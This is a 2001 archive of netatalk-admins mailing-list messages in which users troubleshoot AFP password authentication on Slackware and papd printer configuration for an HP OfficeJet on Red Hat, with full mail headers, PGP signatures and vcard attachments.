| "We Trills have an expression--at forty, you think you    |
| know everything.  At four hundred, you realize you know   |
|         nothing." - Dax, Star Trek Deep Space 9           |
- -------------------------------------------------------------

- -----Original Message-----
From: xris [mailto:xris@mac.com]
Sent: Thursday, August 23, 2001 4:41 PM
To: netatalk-admins@umich.edu
Subject: Sorry, the password you entered is incorrect. Please reenter
it.


I got a little help the last time I asked this question, but nothing
that
could get me connected to my machine (I don't want to turn on guest).

Anyway, I recently compiled 1.5pre6 with:

    ./configure --disable-ddp --enable-lastdid --with-tcp-wrappers
- --with-pam --with-shadow --with-uams-path=/etc/atalk/uams
- --sysconfdir=/etc/atalk --with-config-dir=/etc/atalk
- --with-msg-dir=/etc/atalk/msg --with-ssl-dir=/usr/include/openssl


I don't use pam, but it was suggested that I try this to alleviate my
problem (it didn't help, no change).

Anyway, afpd does seem to be able to find my config files because I
am able
to disable guest login, but for the life of me, I can't get it to
accept my
password.  It recognizes my user login (I tried ones that don't
exist, and
got something like "user doesn't exist," so I know that its finding
my
user).   I've tried the uams_clrtxt.so by itself and in combination
with
uams_dhx.so...

Any more suggestions?  It's getting really annoying having to ftp
things
back and forth to my file server.

Thanks,

Chris

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>
Comment: m00

iQA/AwUBO4WiGC6XaAWWzd7UEQLCLQCfV/+yRP/om0Icu4bhV172EdyEHHIAoKEk
l6JOcrcX7a9mVEz69IUiZjb8
=blf3
-----END PGP SIGNATURE-----


From netatalk.administrators-errors@umich.edu  Thu Aug 23 23:05:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA17061
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 23 Aug 2001 23:05:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id XAA29497
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 23 Aug 2001 23:05:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA29456
	for netatalk.administrators-members@umich.edu; Thu, 23 Aug 2001 23:05:23 -0400 (EDT)
Received: from editmy.he.net (editmy.he.net [216.218.244.242])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA29344
	for <netatalk-admins@umich.edu>; Thu, 23 Aug 2001 23:05:15 -0400 (EDT)
Received: from [10.0.0.2] (dhcp-273-2.click-network.com [131.191.9.16]) by editmy.he.net (8.8.6/8.8.2) with ESMTP id UAA05499; Thu, 23 Aug 2001 20:05:15 -0700
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Thu, 23 Aug 2001 20:04:42 -0700
Subject: Re: Sorry, the password you entered is incorrect.  Please reenter
	it.
From: xris <xris@mac.com>
To: Ed Schwartz <ed_schwartz@iu13.k12.pa.us>, <netatalk-admins@umich.edu>
Message-ID: <B7AB1258.9B16%xris@mac.com>
In-Reply-To: <HJECKHPOHDPHPABMJFFDOEHMCGAA.ed_schwartz@iu13.k12.pa.us>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> ... What's in the log?

Well, if I could find it, I'd let you know.  It doesn't seem to have created
one.  Just /var/log/packages/netatalk, which has a bunch of random setup
info in it, and hasn't been touched in 2 weeks, and /var/log/scripts, which
is about the same (and hasn't been touched in the same amount of time).
Nothing else on the machine containing "log" and "atalk/netatalk/afpd"


From netatalk.administrators-errors@umich.edu  Fri Aug 24 02:38:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA25763
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 24 Aug 2001 02:38:16 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id CAA20427
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 24 Aug 2001 02:38:16 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA20415
	for netatalk.administrators-members@umich.edu; Fri, 24 Aug 2001 02:38:16 -0400 (EDT)
Received: from mta02.mail.mel.aone.net.au (mta02.mail.au.uu.net [203.2.192.82])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA20380
	for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 02:38:14 -0400 (EDT)
Received: from faxserver ([63.60.220.129]) by mta02.mail.mel.aone.net.au
          with ESMTP
          id <20010824063807.BFJD4158.mta02.mail.mel.aone.net.au@faxserver>
          for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 16:38:07 +1000
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 15aARd-00065Q-00
	for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 16:27:54 +1000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 24 Aug 2001 16:27:49 +1000
Subject: Re: Sorry, the password you entered is incorrect.  Please reenter
	it.
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: <netatalk-admins@umich.edu>
Message-ID: <B7AC3105.2579%editor.ac@churchesofchrist.org.au>
In-Reply-To: <B7AB1258.9B16%xris@mac.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

try looking for afpd in daemon.log

> From: xris <xris@mac.com>
> Date: Thu, 23 Aug 2001 20:04:42 -0700
> To: Ed Schwartz <ed_schwartz@iu13.k12.pa.us>, <netatalk-admins@umich.edu>
> Subject: Re: Sorry, the password you entered is incorrect.  Please reenter it.
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Thu, 23 Aug 2001 23:13:45 -0400 (EDT)
> 
> Well, if I could find it, I'd let you know.  It doesn't seem to have created


From netatalk.administrators-errors@umich.edu  Fri Aug 24 03:53:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA28126
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 24 Aug 2001 03:53:14 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id DAA10959
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 24 Aug 2001 03:53:14 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA10955
	for netatalk.administrators-members@umich.edu; Fri, 24 Aug 2001 03:53:13 -0400 (EDT)
Received: from editmy.he.net (editmy.he.net [216.218.244.242])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA10940
	for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 03:53:07 -0400 (EDT)
Received: from [10.0.0.2] (dhcp-273-2.click-network.com [131.191.9.16]) by editmy.he.net (8.8.6/8.8.2) with ESMTP id AAA18600; Fri, 24 Aug 2001 00:52:58 -0700
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Fri, 24 Aug 2001 00:52:23 -0700
Subject: Re: Sorry, the password you entered is incorrect.  Please reenter
	it.
From: xris <xris@forevermore.net>
To: Nigel Pegram <editor.ac@churchesofchrist.org.au>,
        <netatalk-admins@umich.edu>
Message-ID: <B7AB55C7.9B50%xris@forevermore.net>
In-Reply-To: <B7AC3105.2579%editor.ac@churchesofchrist.org.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> try looking for afpd in daemon.log

Doesn't exist.   Maybe my system is just totally messed-up.  Though I
thought I did a pretty standard install of Slack 8.  Fresh drive, too.  I'm
going to try installing the RPM, though there's something that feels nice
about being able to install things from the source.


From netatalk.administrators-errors@umich.edu  Fri Aug 24 04:56:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA00101
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 24 Aug 2001 04:56:37 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA05631
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 24 Aug 2001 04:56:37 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA05622
	for netatalk.administrators-members@umich.edu; Fri, 24 Aug 2001 04:56:36 -0400 (EDT)
Received: from hotmail.com (f216.law9.hotmail.com [64.4.9.216])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA05605
	for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 04:56:35 -0400 (EDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 24 Aug 2001 01:56:35 -0700
Received: from 212.171.16.42 by lw9fd.law9.hotmail.msn.com with HTTP;	Fri, 24 Aug 2001 08:56:30 GMT
X-Originating-IP: [212.171.16.42]
From: "pyx pyx" <pyxcad@hotmail.com>
To: netatalk-admins@umich.edu
Subject: PAPD with HP drivers (PTAL-...)
Date: Fri, 24 Aug 2001 08:56:30 
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F216XKCnzNwRC6HixqD0000aba3@hotmail.com>
X-OriginalArrivalTime: 24 Aug 2001 08:56:35.0394 (UTC) FILETIME=[ADA44220:01C12C7A]

Hi Everyone,

I succesfully installed an HP officejet G85 USB on my linux redhat 7.1 with 
ghostscript-hpijs-5.50-5.rh7.i386.rpm and hpijs-0.97-1.rh7.i386.rpm and i 
used the footmatic driver made with www.linuxprinting.org LPD engine.

I'm using netatalk-1.5pre6-1rh7.i386.rpm for enabling printing from a Mac 
G3.

I created the printer on the mac and spooling seems to start but on my log i 
find:
papd[27648]: No such printer: lp
apd[27648]: printcap problem: lp

I tried many papd.conf types with no success, some examples:
HP-G85:\
:pr=|/usr/bin/lpr -Plp:\
:pd=/etc/atalk/color.ppd:

HP-G85:\
:pr=|/usr/bin/lpr -Phpg85:\
:pd=/etc/atalk/color.ppd:

HP-G85:\
:pr=hpg85:\
:pd=/etc/atalk/color.ppd:

Can someone please tell me who is invoking this damned lp?

Thaks in advance
Paul

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp


From netatalk.administrators-errors@umich.edu  Fri Aug 24 05:06:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA00387
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 24 Aug 2001 05:06:11 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA17123
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 24 Aug 2001 05:06:11 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA17110
	for netatalk.administrators-members@umich.edu; Fri, 24 Aug 2001 05:06:11 -0400 (EDT)
Received: from hotmail.com (f194.law9.hotmail.com [64.4.9.194])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA17091
	for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 05:06:10 -0400 (EDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 24 Aug 2001 02:06:09 -0700
Received: from 212.171.16.42 by lw9fd.law9.hotmail.msn.com with HTTP;	Fri, 24 Aug 2001 09:06:09 GMT
X-Originating-IP: [212.171.16.42]
From: "pyx pyx" <pyxcad@hotmail.com>
To: netatalk-admins@umich.edu
Subject: PAPD with HP drivers (PTAL-...)
Date: Fri, 24 Aug 2001 09:06:09 
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F194C8wSA1XvpFVjCRG00013cf8@hotmail.com>
X-OriginalArrivalTime: 24 Aug 2001 09:06:09.0565 (UTC) FILETIME=[03DFCCD0:01C12C7C]

Hi Everyone,

I succesfully installed an HP officejet G85 USB on my linux redhat 7.1 with 
ghostscript-hpijs-5.50-5.rh7.i386.rpm and hpijs-0.97-1.rh7.i386.rpm and i 
used the footmatic driver made with www.linuxprinting.org LPD engine.

I'm using netatalk-1.5pre6-1rh7.i386.rpm for enabling printing from a Mac 
G3.

I created the printer on the mac and spooling seems to start but on my log i 
find:
papd[27648]: No such printer: lp
apd[27648]: printcap problem: lp

I tried many papd.conf types with no success, some examples:
HP-G85:\
:pr=|/usr/bin/lpr -Plp:\
:pd=/etc/atalk/color.ppd:

HP-G85:\
:pr=|/usr/bin/lpr -Phpg85:\
:pd=/etc/atalk/color.ppd:

HP-G85:\
:pr=hpg85:\
:pd=/etc/atalk/color.ppd:

Can someone please tell me who is invoking this damned lp?

Thaks in advance
Paul

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp


From netatalk.administrators-errors@umich.edu  Fri Aug 24 05:58:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA01831
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 24 Aug 2001 05:58:49 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA05544
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 24 Aug 2001 05:58:49 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA05542
	for netatalk.administrators-members@umich.edu; Fri, 24 Aug 2001 05:58:48 -0400 (EDT)
Received: from hotmail.com (f76.law9.hotmail.com [64.4.9.76])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA05538
	for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 05:58:48 -0400 (EDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 24 Aug 2001 02:58:47 -0700
Received: from 212.171.16.42 by lw9fd.law9.hotmail.msn.com with HTTP;	Fri, 24 Aug 2001 09:58:47 GMT
X-Originating-IP: [212.171.16.42]
From: "pyx pyx" <pyxcad@hotmail.com>
To: netatalk-admins@umich.edu
Subject: unsubscribe
Date: Fri, 24 Aug 2001 09:58:47 
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F76XsFFsAitVGeSJIEo00013c6e@hotmail.com>
X-OriginalArrivalTime: 24 Aug 2001 09:58:47.0497 (UTC) FILETIME=[5E25FB90:01C12C83]



_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp


From netatalk.administrators-errors@umich.edu  Fri Aug 24 07:12:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA03781
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 24 Aug 2001 07:12:56 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA13102
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 24 Aug 2001 07:12:40 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA13094
	for netatalk.administrators-members@umich.edu; Fri, 24 Aug 2001 07:12:39 -0400 (EDT)
Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA13090
	for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 07:12:38 -0400 (EDT)
Received: from storage (2Cust53.tnt3.lancaster.pa.da.uu.net [63.11.121.53])
	by hawk.mail.pas.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id EAA21487;
	Fri, 24 Aug 2001 04:12:28 -0700 (PDT)
From: "Ed Schwartz" <ed_schwartz@iu13.k12.pa.us>
To: "xris" <xris@mac.com>, "Ed Schwartz" <ed_schwartz@iu13.k12.pa.us>,
        <netatalk-admins@umich.edu>
Subject: RE: Sorry, the password you entered is incorrect.  Please reenterit.
Date: Fri, 24 Aug 2001 07:16:55 -0400
Message-ID: <HJECKHPOHDPHPABMJFFDCEICCGAA.ed_schwartz@iu13.k12.pa.us>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <B7AB1258.9B16%xris@mac.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

that's slackware's setup log.  You might try looking in
/var/log/messages ...

- -------------------------------------------------------------
|   Eddie J Schwartz <EdMcMan@m00.net> http://www.m00.net   |
|     AIM: The Cypher ICQ: 35576339 PGP ID: 0x96CDDED4      |
| "We Trills have an expression--at forty, you think you    |
| know everything.  At four hundred, you realize you know   |
|         nothing." - Dax, Star Trek Deep Space 9           |
- -------------------------------------------------------------

- -----Original Message-----
From: xris [mailto:xris@mac.com]
Sent: Thursday, August 23, 2001 11:05 PM
To: Ed Schwartz; netatalk-admins@umich.edu
Subject: Re: Sorry, the password you entered is incorrect. Please
reenterit.


> ... What's in the log?

Well, if I could find it, I'd let you know.  It doesn't seem to have
created
one.  Just /var/log/packages/netatalk, which has a bunch of random
setup
info in it, and hasn't been touched in 2 weeks, and /var/log/scripts,
which
is about the same (and hasn't been touched in the same amount of
time).
Nothing else on the machine containing "log" and
"atalk/netatalk/afpd"

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>
Comment: m00

iQA/AwUBO4Y3pi6XaAWWzd7UEQLSWgCfQanme56/CbBXIdxnjzgzZN5JxdgAn0Wd
R3Zubi0Qsx0RxykTcD3WdCbh
=i//U
-----END PGP SIGNATURE-----


From netatalk.administrators-errors@umich.edu  Fri Aug 24 08:43:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA06545
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 24 Aug 2001 08:43:14 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA20157
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 24 Aug 2001 08:43:14 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA20153
	for netatalk.administrators-members@umich.edu; Fri, 24 Aug 2001 08:43:14 -0400 (EDT)
Received: from gateway1.dhl.com (ssf181c.dhl.com [199.41.199.181])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA20130
	for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 08:43:13 -0400 (EDT)
Received: from uscmg3.us.dhl.com (gateway1.dhl.com [199.41.248.137])
	by gateway1.dhl.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f7OCh9403756;
	Fri, 24 Aug 2001 12:43:09 GMT
Received: from ozzy.us.dhl.com (ozzy.us.dhl.com [199.41.224.41])
	by uscmg3.us.dhl.com (8.11.4/8.11.4) with ESMTP id f7OCh1Z03295;
	Fri, 24 Aug 2001 05:43:02 -0700 (MST)
Received: from us.dhl.com (localhost [127.0.0.1])
	by ozzy.us.dhl.com (8.11.3/8.11.3) with ESMTP id f7OCgxR13528;
	Fri, 24 Aug 2001 05:42:59 -0700 (MST)
Message-ID: <3B864A12.A5CF4C1C@us.dhl.com>
Date: Fri, 24 Aug 2001 07:35:30 -0500
From: Pete Kuczynski <pkuczyns@us.dhl.com>
X-Sender: "Pete Kuczynski" <pkuczyns@ozzy.us.dhl.com> (Unverified)
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD   (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Danny Sauer <dsauer@teleologic.net>, netatalk-admins@umich.edu
Subject: Re: Sorry, the password you entered is incorrect.  Please reenter it.
References: <3B856D56.5A4A5A91@us.dhl.com> <B7AABDF3.9AB7%xris@mac.com> <20010823163343.K5686@newwww.teleologic.net>
Content-Type: multipart/mixed;
 boundary="------------F0FFB074A9B5C7DA36D564CB"


This is a multi-part message in MIME format.
--------------F0FFB074A9B5C7DA36D564CB
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

A bit of topic, but,
every email I get from netatalk-admins, the subjet is
"Re: Sorry, the password you entered is incorrect.  Please reenter it."
Is everyone geting this, or just me.

Pete

Danny Sauer wrote:
> 
> xris wrote regarding 'Re: Sorry, the password you entered is incorrect.  Please reenter it.' on Thu, Aug 23 at 16:12:
> > > Not and expert but works fine on my RH6.2 server using plain text
> > > passwords. Installed the rpm as rpm -ivh, rebooted, could see my server,
> > > gut right in.
> >
> > Unfortunately, Slackware doesn't do rpm files very well.
> 
> "rpm -ivh --force --nodeps" usually works fine on slackware... :)
> (yeah, you'll have to fix the init scripts yourself, but that's easy)
> 
> --Danny, who's had to do this a few times

-- 
_______________________________________
Pete Kuczynski
Sr. Field Engineer
DHL Airways Inc.
Infrastructure Technology & Services
(773)-462-9758
24/7 Helpdesk 1-800-434-5767
--------------F0FFB074A9B5C7DA36D564CB
Content-Type: text/x-vcard; charset=us-ascii;
 name="pkuczyns.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Pete Kuczynski
Content-Disposition: attachment;
 filename="pkuczyns.vcf"

begin:vcard 
n:;
x-mozilla-html:FALSE
org:<CENTER><BR><l><font face="Arial"><B><a href="http://web.us.dhl.com/client-svcs/sys-support/UserHelp/test/otherproblem.htm">Trouble ticket request form</a></B></font></l><CENTER>                                                                                                                                   
adr:;;What did you expect to find here?;;;;
version:2.1
end:vcard

--------------F0FFB074A9B5C7DA36D564CB--




From netatalk.administrators-errors@umich.edu  Fri Aug 24 08:43:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA06576
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 24 Aug 2001 08:43:32 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA27970
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 24 Aug 2001 08:43:16 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA27964
	for netatalk.administrators-members@umich.edu; Fri, 24 Aug 2001 08:43:15 -0400 (EDT)
Received: from gateway1.dhl.com (ssf181c.dhl.com [199.41.199.181])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA27938
	for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 08:43:14 -0400 (EDT)
Received: from uscmg3.us.dhl.com (gateway1.dhl.com [199.41.248.137])
	by gateway1.dhl.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f7OChSD03871;
	Fri, 24 Aug 2001 12:43:28 GMT
Received: from ozzy.us.dhl.com (ozzy.us.dhl.com [199.41.224.41])
	by uscmg3.us.dhl.com (8.11.4/8.11.4) with ESMTP id f7OChGZ03317;
	Fri, 24 Aug 2001 05:43:16 -0700 (MST)
Received: from us.dhl.com (localhost [127.0.0.1])
	by ozzy.us.dhl.com (8.11.3/8.11.3) with ESMTP id f7OChCv13591;
	Fri, 24 Aug 2001 05:43:13 -0700 (MST)
Message-ID: <3B864C08.15975124@us.dhl.com>
Date: Fri, 24 Aug 2001 07:43:52 -0500
From: Pete Kuczynski <pkuczyns@us.dhl.com>
X-Sender: "Pete Kuczynski" <pkuczyns@ozzy.us.dhl.com> (Unverified)
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD   (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: pyx pyx <pyxcad@hotmail.com>
CC: netatalk-admins@umich.edu
Subject: Re: PAPD with HP drivers (PTAL-...)
References: <F216XKCnzNwRC6HixqD0000aba3@hotmail.com>
Content-Type: multipart/mixed;
 boundary="------------6645B98F4C96F54B70927643"


This is a multi-part message in MIME format.
--------------6645B98F4C96F54B70927643
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

In my limited experience, the 1st printer installed on Linux, must be
called lp, that is why the job is looking for it, and can't find it,
cause you don't have one.

My theory, I had this same error, and renamed my printer from hplaser to
lp, worked after that.

Pete

pyx pyx wrote:
> 
> Hi Everyone,
> 
> I succesfully installed an HP officejet G85 USB on my linux redhat 7.1 with
> ghostscript-hpijs-5.50-5.rh7.i386.rpm and hpijs-0.97-1.rh7.i386.rpm and i
> used the footmatic driver made with www.linuxprinting.org LPD engine.
> 
> I'm using netatalk-1.5pre6-1rh7.i386.rpm for enabling printing from a Mac
> G3.
> 
> I created the printer on the mac and spooling seems to start but on my log i
> find:
> papd[27648]: No such printer: lp
> apd[27648]: printcap problem: lp
> 
> I tried many papd.conf types with no success, some examples:
> HP-G85:\
> :pr=|/usr/bin/lpr -Plp:\
> :pd=/etc/atalk/color.ppd:
> 
> HP-G85:\
> :pr=|/usr/bin/lpr -Phpg85:\
> :pd=/etc/atalk/color.ppd:
> 
> HP-G85:\
> :pr=hpg85:\
> :pd=/etc/atalk/color.ppd:
> 
> Can someone please tell me who is invoking this damned lp?
> 
> Thaks in advance
> Paul
> 
> _________________________________________________________________
> Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp

-- 
_______________________________________
Pete Kuczynski
Sr. Field Engineer
DHL Airways Inc.
Infrastructure Technology & Services
(773)-462-9758
24/7 Helpdesk 1-800-434-5767
--------------6645B98F4C96F54B70927643
Content-Type: text/x-vcard; charset=us-ascii;
 name="pkuczyns.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Pete Kuczynski
Content-Disposition: attachment;
 filename="pkuczyns.vcf"

begin:vcard 
n:;
x-mozilla-html:FALSE
org:<CENTER><BR><l><font face="Arial"><B><a href="http://web.us.dhl.com/client-svcs/sys-support/UserHelp/test/otherproblem.htm">Trouble ticket request form</a></B></font></l><CENTER>                                                                                                                                   
adr:;;What did you expect to find here?;;;;
version:2.1
end:vcard

--------------6645B98F4C96F54B70927643--



From netatalk.administrators-errors@umich.edu  Fri Aug 24 09:05:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA07798
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 24 Aug 2001 09:05:44 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA29559
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 24 Aug 2001 09:05:44 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA29545
	for netatalk.administrators-members@umich.edu; Fri, 24 Aug 2001 09:05:43 -0400 (EDT)
Received: from clever.eusc.inter.net (clever.eusc.inter.net [213.73.101.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA29502
	for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 09:05:42 -0400 (EDT)
Received: from ns07-n66-100.de.inter.net ([213.73.66.100] helo=athlet.deltaman.de)
	by clever.eusc.inter.net with esmtp (Exim 3.22 #3)
	id 15aGeb-0000q2-00
	for netatalk-admins@umich.edu; Fri, 24 Aug 2001 15:05:41 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id PAA17800
	for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 15:05:08 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: PAPD with HP drivers (PTAL-...)
Date: Fri, 24 Aug 2001 14:50:16 +0200
X-Mailer: KMail [version 1.0.28]
